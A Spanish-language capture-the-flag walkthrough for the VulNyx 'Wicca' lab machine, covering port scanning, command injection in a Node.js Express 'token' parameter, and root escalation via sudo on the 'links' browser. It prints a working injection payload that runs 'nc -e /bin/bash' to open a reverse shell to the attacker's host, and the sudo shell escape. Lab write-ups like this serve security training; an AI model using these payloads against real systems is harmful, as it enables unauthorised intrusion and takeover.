VulNyx - Wicca
- NodeJS (Express middleware)
- Abuse Links Binary - Privesc
Escaneo de puertos
❯ nmap -p- -T5 -n -v 192.168.1.21
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
5000/tcp open upnp
Escaneo de servicios
❯ nmap -sVC -v -Pn -p 22,80,5000 192.168.1.21
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2 (protocol 2.0)
| ssh-hostkey:
| 256 3a:dc:d6:1d:84:b6:96:c0:8f:96:1e:65:a0:24:0e:fb (ECDSA)
|_ 256 de:93:17:fb:3a:19:9c:e0:17:32:2d:a9:73:f7:c5:94 (ED25519)
80/tcp open http Apache httpd 2.4.57 ((Debian))
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.57 (Debian)
|_http-title: Apache2 Debian Default Page: It works
5000/tcp open http Node.js (Express middleware)
|_http-title: VulNyx Lab
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
HTTP TCP - 80
HTTP TCP - 5000
Si pongo mi nickname
me genera un token en la url.
Si modifico el token genero un error e incluso puedo enumerar un usuario del sistema con el nombre aleister.
Genero una nodejs reverse shell con esta web.
Pego el oneliner después del parámetro token.
http://192.168.1.21:5000/?name=noname&token=require('child_process').exec('nc -e /bin/bash 20192.168.1.17 443')
Obtengo la shell.
❯ nc -lvp 443
listening on [any] 443 ...
192.168.1.21: inverse host lookup failed: Unknown host
connect to [192.168.1.17] from (UNKNOWN) [192.168.1.21] 35516
script /dev/null -c bash
Script started, output log file is '/dev/null'.
aleister@wicca:/$ id
id
uid=1001(aleister) gid=1001(aleister) groups=1001(aleister)
Realizo el tratamiento para la TTY.
script /dev/null -c bash
ctrl + Z
stty raw -echo;fg
reset
xterm
export TERM=xterm-256color
export SHELL=bash
source /etc/skel/.bashrc
stty rows 50 cols 200
Enumero permisos sudo.
aleister@wicca:~$ sudo -l
Matching Defaults entries for aleister on wicca:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User aleister may run the following commands on wicca:
(root) NOPASSWD: /usr/bin/links
Lanzo el binario con la flag -no-g
.
aleister@wicca:~$ sudo /usr/bin/links -no-g
Pulso la tecla esc y me aparece este menú.
Con las flechas me desplazo hasta OS shell
.
Y obtengo el root.
root@wicca:/home/aleister# id
uid=0(root) gid=0(root) groups=0(root)
Y con esto ya tenemos resuelta la máquina Wicca.
Saludos!